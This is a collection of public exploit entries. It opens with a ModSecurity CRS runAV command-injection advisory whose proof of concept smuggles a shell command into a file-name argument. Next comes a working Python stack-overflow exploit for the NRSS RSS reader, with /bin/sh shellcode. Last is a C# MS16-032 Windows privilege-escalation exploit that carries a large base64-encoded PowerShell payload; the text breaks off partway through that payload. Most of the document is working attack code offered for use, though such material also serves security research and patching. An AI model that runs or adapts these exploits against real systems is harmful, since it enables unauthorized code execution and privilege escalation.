	char cmd[MAX_OUTPUT_SIZE];
	char output[MAX_OUTPUT_SIZE];
	int error;
	char *colon;
	char *keyword;

	if (argc > 1) {
		sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]);
		output[0] = '\0';
		error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);

+++++++++++++++++ OTHER CODE +++++++++++++++++++++++++++++++++


The argv[1] parameter is passed unsanitized to a sprintf function which sends the formatted output to the cmd variable,
which is later passed as a parameter to a run_cmd function on line 14.
https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/av-scanning/runAV/runAV.c#L14

POC:

snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ./runAV "foo.php;touch /tmp/pwn3d"
sh: 1: /usr/bin/clamscan: not found
1 exec empty: OK
snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d
-rw-rw-r--  1 snort snort    0 Maj 13 16:45 pwn3d
snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ 
            
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: NRSS RSS Reader
# Version: 0.3.9-1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: NRSS is a console based RSS reader allowing
# uses to read and manage RSS feeds
# Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb
# MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39
# Website: http://www.codezen.org/nrss/

#
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60 EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()


import os, subprocess

def run():
  try:
    print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 256
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["nrss -F",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, NRSS Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
            
# Exploit Title: Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (C#)
# Date: 2016-04-25 
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Original exploit: https://www.exploit-db.com/exploits/39719/
# All credits go to @FuzzySec
# C# version with @FuzzySec powershell code which does not rely on powershell.exe. Instead it runs from a powershell runspace environment (.NET). Helpful in security restricted environments with GPO, SRP, App Locker.
# To compile MS16-032 you need to import this project within Microsoft Visual Studio or if you don't have access to a Visual Studio installation, you can compile with csc.exe. 
# It uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.
# CVE: 2016-0099

using System;
using System.IO;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Text;
using System.Threading.Tasks;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;

namespace MS16_032
{
    class Program
    {
        static void Main()
        {
            PowerShellExecutor t = new PowerShellExecutor();
            t.ExecuteSynchronously();
        }
    }

    class PowerShellExecutor
    {
        public static string PSInvoke_MS16_032 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"ZnVuY3Rpb24gSW52b2tlLU1TMTYtMDMyIHsNCjwjDQouU1lOT1BTSVMNCiAgICANCiAgICBQb3dlclNoZWxsIGltcGxlbWVudGF0aW9uIG9mIE1TMTYtMDMyLiBUaGUgZXhwbG9pdCB0YXJnZXRzIGFsbCB2dWxuZXJhYmxlDQogICAgb3BlcmF0aW5nIHN5c3RlbXMgdGhhdCBzdXBwb3J0IFBvd2VyU2hlbGwgdjIrLiBDcmVkaXQgZm9yIHRoZSBkaXNjb3Zlcnkgb2YNCiAgICB0aGUgYnVnIGFuZCB0aGUgbG9naWMgdG8gZXhwbG9pdCBpdCBnbyB0byBKYW1lcyBGb3JzaGF3IChAdGlyYW5pZGRvKS4NCiAgICANCiAgICBUYXJnZXRzOg0KICAgIA0KICAgICogV2luNy1XaW4xMCAmIDJrOC0yazEyIDw9PSAzMi82NCBiaXQhDQogICAgKiBUZXN0ZWQgb24geDMyIFdpbjcsIHg2NCBXaW44LCB4NjQgMmsxMlIyDQogICAgDQogICAgTm90ZXM6DQogICAgDQogICAgKiBJbiBvcmRlciBmb3IgdGhlIHJhY2UgY29uZGl0aW9uIHRvIHN1Y2NlZWQgdGhlIG1hY2hpbmUgbXVzdCBoYXZlIDIrIENQVQ0KICAgICAgY29yZXMuIElmIHRlc3RpbmcgaW4gYSBWTSBqdXN0IG1ha2Ugc3VyZSB0byBhZGQgYSBjb3JlIGlmIG5lZWRlZCBta2F5Lg0KICAgICogVGhlIGV4cGxvaXQgaXMgcHJldHR5IHJlbGlhYmxlLCBob3dldmVyIH4xLzYgdGltZXMgaXQgd2lsbCBzYXkgaXQgc3VjY2VlZGVkDQogICAgICBidXQgbm90IHNwYXduIGEgc2hlbGwuIE5vdCBzdXJlIHdoYXQgdGhlIGlzc3VlIGlzIGJ1dCBqdXN0IHJlLXJ1biBhbmQgcHJvZml0IQ0KICAgICogV2FudCB0byBrbm93IG1vcmUgYWJvdXQgTVMxNi0wMzIgPT0+DQogICAgICBodHRwczovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvLnVrLzIwMTYvMDMvZXhwbG9pdGluZy1sZWFrZWQtdGhyZWFkLWhhbmRsZS5odG1sDQoNCi5ERVNDUklQVElPTg0KCUF1dGhvcjogUnViZW4gQm9vbmVuIChARnV6enlTZWMpDQoJQmxvZzogaHR0cDovL3d3dy5mdXp6eXNlY3VyaXR5LmNvbS8NCglMaWNlbnNlOiBCU0QgMy1DbGF1c2UNCglSZXF1aXJlZCBEZXBlbmRlbmNpZXM6IFBvd2VyU2hlbGwgdjIrDQoJT3B0aW9uYWwgRGVwZW5kZW5jaWVzOiBOb25lDQogICAgDQouRVhBTVBMRQ0KCUM6XFBTPiBJbnZva2UtTVMxNi0wMzINCiM+DQoJQWRkLVR5cGUgLVR5cGVEZWZpbml0aW9uIEAiDQoJdXNpbmcgU3lzdGVtOw0KCXVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsNCgl1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQoJdXNpbmcgU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbDsNCgkNCglbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldDQoJcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9ODQoJew0KCQlwdWJsaWMgSW50UHRyIGhQcm9jZXNzOw0KCQlwdWJsaWMgSW50UHRyIGhUaHJlYWQ7DQoJCXB1YmxpYyBpbnQgZHdQcm9jZXNzSWQ7DQoJCXB1YmxpYyBpbnQgZHdUaHJlYWRJZDsNCgl9DQoJDQoJW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwsIENoYXJTZXQ9Q2hhclNldC5Vbmljb2RlKV0NCglwdWJsaWMgc3RydWN0IFNUQVJUVVBJTkZPDQoJew0KCQlwdWJsaWMgSW50MzIgY2I7DQoJCXB1YmxpYyBzdHJpbmcgbHBSZXNlcnZlZDsNCgkJcHVibGljIHN0cmluZyBscERlc2t0b3A7DQoJCXB1YmxpYyBzdHJpbmcgbHBUaXRsZTsNCgkJcHVibGljIEludDMyIGR3WDsNCgkJcHVibGljIEludDMyIGR3WTsNCgkJcHVibGljIEludDMyIGR3WFNpemU7DQoJCXB1YmxpYyBJbnQzMiBkd1lTaXplOw0KCQlwdWJsaWMgSW50MzIgZHdYQ291bnRDaGFyczsNCgkJcHVibGljIEludDMyIGR3WUNvdW50Q2hhcnM7DQoJCXB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7DQoJCXB1YmxpYyBJbnQzMiBkd0ZsYWdzOw0KCQlwdWJsaWMgSW50MTYgd1Nob3dXaW5kb3c7DQoJCXB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsNCgkJcHVibGljIEludFB0ciBscFJlc2VydmVkMjsNCgkJcHVibGljIEludFB0ciBoU3RkSW5wdXQ7DQoJCXB1YmxpYyBJbnRQdHIgaFN0ZE91dHB1dDsNCgkJcHVibGljIEludFB0ciBoU3RkRXJyb3I7DQoJfQ0KCQ0KCVtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0NCglwdWJsaWMgc3RydWN0IFNRT1MNCgl7DQoJCXB1YmxpYyBpbnQgTGVuZ3RoOw0KCQlwdWJsaWMgaW50IEltcGVyc29uYXRpb25MZXZlbDsNCgkJcHVibGljIGludCBDb250ZXh0VHJhY2tpbmdNb2RlOw0KCQlwdWJsaWMgYm9vbCBFZmZlY3RpdmVPbmx5Ow0KCX0NCgkNCglwdWJsaWMgc3RhdGljIGNsYXNzIEFkdmFwaTMyDQoJew0KCQlbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSwgQ2hhclNldD1DaGFyU2V0LlVuaWNvZGUpXQ0KCQlwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XKA0KCQkJU3RyaW5nIHVzZXJOYW1lLA0KCQkJU3RyaW5nIGRvbWFpbiwNCgkJCVN0cmluZyBwYXNzd29yZCwNCgkJCWludCBsb2dvbkZsYWdzLA0KCQkJU3RyaW5nIGFwcGxpY2F0aW9uTmFtZSwNCgkJCVN0cmluZyBjb21tYW5kTGluZSwNCgkJCWludCBjcmVhdGlvbkZsYWdzLA0KCQkJaW50IGVudmlyb25tZW50LA0KCQkJU3RyaW5nIGN1cnJlbnREaXJlY3RvcnksDQoJCQlyZWYgIFNUQVJUVVBJTkZPIHN0YXJ0dXBJbmZvLA0KCQkJb3V0IFBST0NFU1NfSU5GT1JNQVRJT04gcHJvY2Vzc0luZm9ybWF0aW9uKTsNCgkJCQ0KCQlbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgU2V0VGhyZWFkVG9rZW4oDQoJCQlyZWYgSW50UHRyIFRocmVhZCwNCgkJCUludFB0ciBUb2tlbik7DQoJCQkNCgkJW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIE9wZW5UaHJlYWRUb2tlbigNCgkJCUludFB0ciBUaHJlYWRIYW5kbGUsDQoJCQlpbnQgRGVzaXJlZEFjY2VzcywNCgkJCWJvb2wgT3BlbkFzU2VsZiwNCgkJCW91dCBJbnRQdHIgVG9rZW5IYW5kbGUpOw0KCQkJDQoJCVtEbGxJbXBvcnQoImFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBPcGVuUHJvY2Vzc1Rva2VuKA0KCQkJSW50UHRyIFByb2Nlc3NIYW5kbGUsIA0KCQkJaW50IERlc2lyZWRBY2Nlc3MsDQoJCQlyZWYgSW50UHRyIFRva2VuSGFuZGxlKTsNCgkJCQ0KCQlbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBleHRlcm4gc3RhdGljIGJvb2wgRHVwbGljYXRlVG9rZW4oDQoJCQlJbnRQdHIgRXhpc3RpbmdUb2tlbkhhbmRsZSwNCgkJCWludCBTRUNVUklUWV9JTVBFUlNPTkFUSU9OX0xFVkVMLA0KCQkJcmVmIEludFB0ciBEdXBsaWNhdGVUb2tlbkhhbmRsZSk7DQoJfQ0KCQ0KCXB1YmxpYyBzdGF0aWMgY2xhc3MgS2VybmVsMzINCgl7DQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KCQlwdWJsaWMgc3RhdGljIGV4dGVybiB1aW50IEdldExhc3RFcnJvcigpOw0KCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRDdXJyZW50UHJvY2VzcygpOw0KCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRDdXJyZW50VGhyZWFkKCk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBHZXRUaHJlYWRJZChJbnRQdHIgaFRocmVhZCk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCgkJcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldFByb2Nlc3NJZE9mVGhyZWFkKEludFB0ciBoYW5kbGUpOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIixTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBTdXNwZW5kVGhyZWFkKEludFB0ciBoVGhyZWFkKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgUmVzdW1lVGhyZWFkKEludFB0ciBoVGhyZWFkKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBUZXJtaW5hdGVQcm9jZXNzKA0KCQkJSW50UHRyIGhQcm9jZXNzLA0KCQkJdWludCB1RXhpdENvZGUpOw0KCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3I9dHJ1ZSldDQoJCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgQ2xvc2VIYW5kbGUoSW50UHRyIGhPYmplY3QpOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIER1cGxpY2F0ZUhhbmRsZSgNCgkJCUludFB0ciBoU291cmNlUHJvY2Vzc0hhbmRsZSwNCgkJCUludFB0ciBoU291cmNlSGFuZGxlLA0KCQkJSW50UHRyIGhUYXJnZXRQcm9jZXNzSGFuZGxlLA0KCQkJcmVmIEludFB0ciBscFRhcmdldEhhbmRsZSwNCgkJCWludCBkd0Rlc2lyZWRBY2Nlc3MsDQoJCQlib29sIGJJbmhlcml0SGFuZGxlLA0KCQkJaW50IGR3T3B0aW9ucyk7DQoJfQ0KCQ0KCXB1YmxpYyBzdGF0aWMgY2xhc3MgTnRkbGwNCgl7DQoJCVtEbGxJbXBvcnQoIm50ZGxsLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJcHVibGljIHN0YXRpYyBleHRlcm4gaW50IE50SW1wZXJzb25hdGVUaHJlYWQoDQoJCQlJbnRQdHIgVGhyZWFkSGFuZGxlLA0KCQkJSW50UHRyIFRocmVhZFRvSW1wZXJzb25hdGUsDQoJCQlyZWYgU1FPUyBTZWN1cml0eVF1YWxpdHlPZlNlcnZpY2UpOw0KCX0NCiJADQoJDQoJZnVuY3Rpb24gR2V0LVRocmVhZEhhbmRsZSB7DQoJCSMgU3RhcnR1cEluZm8gU3RydWN0DQoJCSRTdGFydHVwSW5mbyA9IE5ldy1PYmplY3QgU1RBUlRVUElORk8NCgkJJFN0YXJ0dXBJbmZvLmR3RmxhZ3MgPSAweDAwMDAwMTAwICMgU1RBUlRGX1VTRVNUREhBTkRMRVMNCgkJJFN0YXJ0dXBJbmZvLmhTdGRJbnB1dCA9IFtLZXJuZWwzMl06OkdldEN1cnJlbnRUaHJlYWQoKQ0KCQkkU3RhcnR1cEluZm8uaFN0ZE91dHB1dCA9IFtLZXJuZWwzMl06OkdldEN1cnJlbnRUaHJlYWQoKQ0KCQkkU3RhcnR1cEluZm8uaFN0ZEVycm9yID0gW0tlcm5lbDMyXTo6R2V0Q3VycmVudFRocmVhZCgpDQoJCSRTdGFydHVwSW5mby5jYiA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZigkU3RhcnR1cEluZm8pICMgU3RydWN0IFNpemUNCgkJDQoJCSMgUHJvY2Vzc0luZm8gU3RydWN0DQoJCSRQcm9jZXNzSW5mbyA9IE5ldy1PYmplY3QgUFJPQ0VTU19JTkZPUk1BVElPTg0KCQkNCgkJIyBDcmVhdGVQcm9jZXNzV2l0aExvZ29uVyAtLT4gbHBDdXJyZW50RGlyZWN0b3J5DQoJCSRHZXRDdXJyZW50UGF0aCA9IChHZXQtSXRlbSAtUGF0aCAiLlwiIC1WZXJib3NlKS5GdWxsTmFtZQ0KCQkNCgkJIyBMT0dPTl9ORVRDUkVERU5USUFMU19PTkxZIC8gQ1JFQVRFX1NVU1BFTkRFRA0KCQkkQ2FsbFJlc3VsdCA9IFtBZHZhcGkzMl06OkNyZWF0ZVByb2Nlc3NXaXRoTG9nb25XKA0KCQkJInVzZXIiLCAiZG9tYWluIiwgInBhc3MiLA0KCQkJMHgwMDAwMDAwMiwgIkM6XFdpbmRvd3NcU3lzdGVtMzJcY21kLmV4ZSIsICIiLA0KCQkJMHgwMDAwMDAwNCwgJG51bGwsICRHZXRDdXJyZW50UGF0aCwNCgkJCVtyZWZdJFN0YXJ0dXBJbmZvLCBbcmVmXSRQcm9jZXNzSW5mbykNCgkJDQoJCSMgRHVwbGljYXRlIGhhbmRsZSBpbnRvIGN1cnJlbnQgcHJvY2VzcyAtPiBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MNCgkJJGxwVGFyZ2V0SGFuZGxlID0gW0ludFB0cl06Olplcm8NCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpEdXBsaWNhdGVIYW5kbGUoDQoJCQkkUHJvY2Vzc0luZm8uaFByb2Nlc3MsIDB4NCwNCgkJCVtLZXJuZWwzMl06OkdldEN1cnJlbnRQcm9jZXNzKCksDQoJCQlbcmVmXSRscFRhcmdldEhhbmRsZSwgMCwgJGZhbHNlLA0KCQkJMHgwMDAwMDAwMikNCgkJDQoJCSMgQ2xlYW4gdXAgc3VzcGVuZGVkIHByb2Nlc3MNCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpUZXJtaW5hdGVQcm9jZXNzKCRQcm9jZXNzSW5mby5oUHJvY2VzcywgMSkNCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpDbG9zZUhhbmRsZSgkUHJvY2Vzc0luZm8uaFByb2Nlc3MpDQoJCSRDYWxsUmVzdWx0ID0gW0tlcm5lbDMyXTo6Q2xvc2VIYW5kbGUoJFByb2Nlc3NJbmZvLmhUaHJlYWQpDQoJCQ0KCQkkbHBUYXJnZXRIYW5kbGUNCgl9DQoJDQoJZnVuY3Rpb24gR2V0LVN5c3RlbVRva2VuIHsNCgkJZWNobyAiYG5bP10gVHJ5aW5nIHRocmVhZCBoYW5kbGU6ICRUaHJlYWQiDQoJCWVjaG8gIls/XSBUaHJlYWQgYmVsb25ncyB0bzogJCgkKEdldC1Qcm9jZXNzIC1QSUQgJChbS2VybmVsMzJdOjpHZXRQcm9jZXNzSWRPZlRocmVhZCgkVGhyZWFkKSkpLlByb2Nlc3NOYW1lKSINCgkNCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpTdXNwZW5kVGhyZWFkKCRUaHJlYWQpDQoJCWlmICgkQ2FsbFJlc3VsdCAtbmUgMCkgew0KCQkJZWNobyAiWyFdICRUaHJlYWQgaXMgYSBiYWQgdGhyZWFkLCBtb3Zpbmcgb24uLiINCgkJCVJldHVybg0KCQl9IGVjaG8gIlsrXSBUaHJlYWQgc3VzcGVuZGVkIg0KCQkNCgkJZWNobyAiWz5dIFdpcGluZyBjdXJyZW50IGltcGVyc29uYXRpb24gdG9rZW4iDQoJCSRDYWxsUmVzdWx0ID0gW0FkdmFwaTMyXTo6U2V0VGhyZWFkVG9rZW4oW3JlZl0kVGhyZWFkLCBbSW50UHRyXTo6WmVybykNCgkJaWYgKCEkQ2FsbFJlc3VsdCkgew0KCQkJZWNobyAiWyFdIFNldFRocmVhZFRva2VuIGZhaWxlZCwgbW92aW5nIG9uLi4iDQoJCQkkQ2FsbFJlc3VsdCA9IFtLZXJuZWwzMl06OlJlc3VtZVRocmVhZCgkVGhyZWFkKQ0KCQkJZWNobyAiWytdIFRocmVhZCByZXN1bWVkISINCgkJCVJldHVybg0KCQl9DQoJCQ0KCQllY2hvICJbPl0gQnVpbGRpbmcgU1lTVEVNIGltcGVyc29uYXRpb24gdG9rZW4iDQoJCSMgU2VjdXJpdHlRdWFsaXR5T2ZTZXJ2aWNlIHN0cnVjdA0KCQkkU1FPUyA9IE5ldy1PYmplY3QgU1FPUw0KCQkkU1FPUy5JbXBlcnNvbmF0aW9uTGV2ZWwgPSAyICNTZWN1cml0eUltcGVyc29uYXRpb24NCgkJJFNRT1MuTGVuZ3RoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKCRTUU9TKQ0KCQkjIFVuZG9jdW1lbnRlZCBBUEkncywgSSBsaWtlIHlvdXIgc3R5bGUgTWljcm9zb2Z0IDspDQoJCSRDYWxsUmVzdWx0ID0gW050ZGxsXTo6TnRJbXBlcnNvbmF0ZVRocmVhZCgkVGhyZWFkLCAkVGhyZWFkLCBbcmVmXSRzcW9zKQ0KCQlpZiAoJENhbGxSZXN1bHQgLW5lIDApIHsNCgkJCWVjaG8gIlshXSBOdEltcGVyc29uYXRlVGhyZWFkIGZhaWxlZCwgbW92aW5nIG9uLi4iDQoJCQkkQ2FsbFJlc3VsdCA9IFtLZXJuZWwzMl06OlJlc3VtZVRocmVhZCgkVGhyZWFkKQ0KCQkJZWNobyAiWytdIFRocmVhZCByZXN1bWVkISINCgkJCVJldHVybg0KCQl9DQoJDQoJCSRzY3JpcHQ6U3lzVG9rZW5IYW5kbGUgPSBbSW50UHRyXTo6WmVybw0KCQkjIDB4MDAwNiAtLT4gVE9LRU5fRFVQTElDQVRFIC1ib3IgVE9LRU5fSU1QRVJTT05BVEUNCgkJJENhbGxSZXN1bHQgPSBbQWR2YXBpMzJdOjpPcGVuVGhyZWFkVG9rZW4oJFRocmVhZCwgMHgwMDA2LCAkZmFsc2UsIFtyZWZdJFN5c1Rva2VuSGFuZGxlKQ0KCQlpZiAoISRDYWxsUmVzdWx0KSB7DQoJCQllY2hvICJbIV0gT3BlblRocmVhZFRva2VuIGZhaWxlZCwgbW92aW5nIG9uLi4iDQoJCQkkQ2FsbFJlc3VsdCA9IFtLZXJuZWwzMl06OlJlc3VtZVRocmVhZCgkVGhyZWFkKQ0KCQkJZWNobyAiWytdIFRocmVhZCByZXN1bWVkISINCgkJCVJldHVybg0KCQl9DQoJCQ0KCQllY2hvICJbP10gU3VjY2Vzcywgb3BlbiBTWVNURU0gdG9rZW4gaGFuZGxlOiAkU3lzVG9rZW5IYW5kbGUiDQoJCWVjaG8gIlsrXSBSZXN1bWluZyB0aHJlYWQuLiINCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpSZXN1bWVUaHJlYWQoJFRocmVhZCkNCgl9DQoJDQoJIyBtYWluKCkgPC0tLSA7KQ0KCSRtczE2MDMyID0gQCINCgkgX18gX18gX19fIF9fXyAgIF9fXyAgICAgX19fIF9fXyBfX18gDQoJfCAgViAgfCAgX3xfICB8IHwgIF98X19ffCAgIHxfICB8XyAgfA0KCXwgICAgIHxfICB8X3wgfF98IC4gfF9fX3wgfCB8XyAgfCAgX3wNCgl8X3xffF98X19ffF9fX19ffF9fX3wgICB8X19ffF9fX3xfX198DQoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAgICAgICAgICAgW2J5IGIzM2YgLT4gQEZ1enp5U2VjXQ0KIkANCgkNCgkkbXMxNjAzMg0KCQ0KCSMgQ2hlY2sgbG9naWNhbCBwcm9jZXNzb3IgY291bnQsIHJhY2UgY29uZGl0aW9uIHJlcXVpcmVzIDIrDQoJZWNobyAiYG5bP10gT3BlcmF0aW5nIHN5c3RlbSBjb3JlIGNvdW50OiAkKFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpQcm9jZXNzb3JDb3VudCkiDQoJaWYgKCQoW1N5c3RlbS5FbnZpcm9ubWVudF06OlByb2Nlc3NvckNvdW50KSAtbHQgMikgew0KCQllY2hvICJbIV0gVGhpcyBpcyBhIFZNIGlzbid0IGl0LCByYWNlIGNvbmRpdGlvbiByZXF1aXJlcyBhdCBsZWFzdCAyIENQVSBjb3JlcywgZXhpdGluZyFgbiINCgkJUmV0dXJuDQoJfQ0KCQ0KCSMgQ3JlYXRlIGFycmF5IGZvciBUaHJlYWRzICYgVElEJ3MNCgkkVGhyZWFkQXJyYXkgPSBAKCkNCgkkVGlkQXJyYXkgPSBAKCkNCgkNCgllY2hvICJbPl0gRHVwbGljYXRpbmcgQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcgaGFuZGxlcy4uIg0KCSMgTG9vcCBHZXQtVGhyZWFkSGFuZGxlIGFuZCBjb2xsZWN0IHRocmVhZCBoYW5kbGVzIHdpdGggYSB2YWxpZCBUSUQNCglmb3IgKCRpPTA7ICRpIC1sdCA1MDA7ICRpKyspIHsNCgkJJGhUaHJlYWQgPSBHZXQtVGhyZWFkSGFuZGxlDQoJCSRoVGhyZWFkSUQgPSBbS2VybmVsMzJdOjpHZXRUaHJlYWRJZCgkaFRocmVhZCkNCgkJIyBCaXQgaGFja3kvbGF6eSwgZmlsdGVycyBvbiB1bmlxL3ZhbGlkIFRJRCdzIHRvIGNyZWF0ZSAkVGhyZWFkQXJyYXkNCgkJaWYgKCRUaWRBcnJheSAtbm90Y29udGFpbnMgJGhUaHJlYWRJRCkgew0KCQkJJFRpZEFycmF5ICs9ICRoVGhyZWFkSUQNCgkJCWlmICgkaFRocmVhZCAtbmUgMCkgew0KCQkJCSRUaHJlYWRBcnJheSArPSAkaFRocmVhZCAjIFRoaXMgaXMgd2hhdCB3ZSBuZWVkIQ0KCQkJfQ0KCQl9DQoJfQ0KCQ0KCWlmICgkKCRUaHJlYWRBcnJheS5sZW5ndGgpIC1lcSAwKSB7DQoJCWVjaG8gIlshXSBObyB2YWxpZCB0aHJlYWQgaGFuZGxlcyB3ZXJlIGNhcHR1cmVkLCBleGl0aW5nISINCgkJUmV0dXJuDQoJfSBlbHNlIHsNCgkJZWNobyAiWz9dIERvbmUsIGdvdCAkKCRUaHJlYWRBcnJheS5sZW5ndGgpIHRocmVhZCBoYW5kbGUocykhIg0KCQllY2hvICJgbls/XSBUaHJlYWQgaGFuZGxlIGxpc3Q6Ig0KCQkkVGhyZWFkQXJyYXkNCgl9DQoJDQoJZWNobyAiYG5bKl0gU25pZmZpbmcgb3V0IHByaXZpbGVnZWQgaW1wZXJzb25hdGlvbiB0b2tlbi4uIg0KCWZvcmVhY2ggKCRUaHJlYWQgaW4gJFRocmVhZEFycmF5KXsNCgkNCgkJIyBHZXQgaGFuZGxlIHRvIFNZU1RFTSBhY2Nlc3MgdG9rZW4NCgkJR2V0LVN5c3RlbVRva2VuDQoJCQ0KCQllY2hvICJgblsqXSBTbmlmZmluZyBvdXQgU1lTVEVNIHNoZWxsLi4iDQoJCWVjaG8gImBuWz5dIER1cGxpY2F0aW5nIFNZU1RFTSB0b2tlbiINCgkJJGhEdXBsaWNhdGVUb2tlbkhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvDQoJCSRDYWxsUmVzdWx0ID0gW0FkdmFwaTMyXTo6RHVwbGljYXRlVG9rZW4oJFN5c1Rva2VuSGFuZGxlLCAyLCBbcmVmXSRoRHVwbGljYXRlVG9rZW5IYW5kbGUpDQoJCQ0KCQkjIFNpbXBsZSBQUyBydW5zcGFjZSBkZWZpbml0